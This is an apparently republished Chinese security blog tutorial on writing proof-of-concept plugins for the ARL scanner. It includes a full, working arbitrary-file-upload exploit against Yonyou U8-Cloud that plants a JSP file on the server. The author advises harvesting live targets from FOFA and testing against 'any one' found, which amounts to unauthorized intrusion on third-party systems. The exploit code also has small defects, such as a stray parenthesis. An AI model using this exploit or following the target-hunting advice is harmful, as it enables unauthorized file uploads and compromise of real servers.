注意本次只是进行演示操作,使用该POC出现任何问题与本人无关。
POC相关
灯塔的POC有点少添加一下,找到POC的添加,然后进入!
docker exec -it 407edbf4b35b /bin/bash
这里直接找POC的所在位置,官方已经给出相关说明
https://github.com/1c3z/ARL-NPoC(现在官方已经下架了)
进去之后来到/opt/ARL-NPoC
cd /opt/ARL-NPoC && ls
新建终端,然后使用docker cp 将这个ARL-NPoC,拉到根目录
docker cp 407edbf4b35b:/opt/ARL-NPoC /
下载到本地,进行分析。把里面的环境装一下(要有python环境)
pip install -r requirements.txt
使用vscode打开
看POC的,没注释,让GPT生成注释即可
各个函数的意义
__init()__:初始化函数。
复制成功
def __init__(self):
super(Plugin, self).__init__()
# 插件类型poc
self.plugin_type = PluginType.POC
# 插件name
self.vul_name = "泛微 Ecology getdata.jsp SQL注入漏洞"
# 探测组件name
self.app_name = 'Ecology'
# 探测协议?
self.scheme = [SchemeType.HTTP, SchemeType.HTTPS]
verify():验证函数。
def verify(self, target): #参数target
http_req():请求函数。
def http_req(url, method = 'get', **kwargs): #传入url,请求方法get,post....
post请求实例:
http_req(url, method='post', data=data)
http_req(url, method='post', data=data, headers=header)
http_req()处理方法
1. content(): # 获取响应包
conn = http_req(url, "get")
if b"GitLab" not in conn.content:
return False
2. json(): # json处理响应包
conn = http_req(url, "get")
data = conn.json()
3. status_code:#获取响应值
conn = http_req(url, "get", auth=(user, passwd))
if conn.status_code == 200:
return True
conn = http_req(url)
4. text: #获取响应体。和content类似吧
conn = http_req(url, "get")
pattern = r'<metas+name="csrf-token"s+content="([^"]+)+"s+/>'
matches = re.findall(pattern=pattern, string=conn.text)
5. headers.get() # 获取响应头
conn = http_req(url, "get")
if self._check_str not in conn.headers.get("WWW-Authenticate", ""):
return False
6.self.logger.debug() #信息回显
self.logger.debug("not Ecology {}".format(target))
def init_logger():
log_colors = {
'DEBUG': 'white',
'INFO': 'green',
'SUCCESS': 'red',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
后续代码编写可能会有问题,可以在本地简单测试保证不爆红之后再同步到远程arl。
pip install -e . # 安装依赖
python setup.py --help-commands # 查看安装命令帮助
python setup.py install # 安装
提示帮助的同时也会加载编写好的插件,错误的插件会报错,此时就可以针对这些报错的插件做针对性修改。
xing -h
(经过测试,本地win没有办法加载poc,所以在linux上传测试,上述的测试环境搭建也要再做一次)
下边是用友-U8-Cloud-任意文件上传的poc演示
poc要多些,这个poc也是比较简单,arl已经内置相关写法,多看看demo的各种写法即可
(有bug,在arl默认是https走,要加前缀,已经解决)
#app="用友-U8-Cloud"
# 导入必要的模块
from xing.core.BasePlugin import BasePlugin # 导入BasePlugin类,用于创建插件基类
from xing.utils import http_req # 导入http_req函数,用于发送HTTP请求
from xing.core import PluginType, SchemeType # 导入PluginType和SchemeType枚举,用于指定插件类型和协议类型
# 定义Plugin类,继承自BasePlugin
class Plugin(BasePlugin):
def __init__(self):
super(Plugin, self).__init__() # 调用父类的构造函数
self.plugin_type = PluginType.POC # 将插件类型设置为POC(Proof of Concept,概念验证)
self.vul_name = "用友-U8-Cloud-任意文件上传" # 定义漏洞名称
self.app_name = 'U8' # 将应用程序名称定义为 U8
self.scheme = [SchemeType.HTTP] # 指定支持的协议类型和HTTP
# 定义用于检测漏洞的verify方法
def verify(self, target):
path = ["/linux/pages/upload.jsp"] # 定义待检测的路径列表
url = target + path[0] # 构建完整的URL
# 设置请求头
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded",
"filename": "55051.jsp",
"Content-Length": "30"
}
# 发送POST请求并获取响应
data = '<% out.println("Console"); %>' # POST请求的数据
#conn = requests.post(url, data=data, headers=header)
conn = http_req(url, method='post', data=data, headers=header)
content = conn.content # 获取返回的内容
# 发送GET请求并获取状态码
conn1 = http_req(url + '/linux/55051.jsp')
if conn.status_code != 404: # 如果状态码不是404
if (b"<title>This page for response" not in content and b"upload success" not in content) : # 如果返回的内容不包含"<title>This page for response"或者"success file"
self.logger.success("not found U8-Cloud-upload file") # 打印调试信息
return url
if (b"<title>This page for response" in content or b"upload success" in content) or (conn1.status_code == 200): # 如果返回的内容包含指定的字符串
self.logger.success("用友U8-Cloud-upload {}".format(target+'/linux/55051.jsp')) # 打印成功信息
return target+'/linux/55051.jsp'
)
#return必须写,作为风险巡航-漏扫-凭证会用到
目标从fofa找即可,关键字
app="用友-U8-Cloud"
这里随便找一个进行测试
将测试好的poc上传到arl里
回到灯塔,查看poc
POC测试
在策略配置上选中POC单个测试
扫描主机,然后风险任务下发,选择poc
执行完毕后会看到凭证,就是上传文件的证明
原文始发于微信公众号(暗魂攻防实验室):nuclei写poc?还得是ARL!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论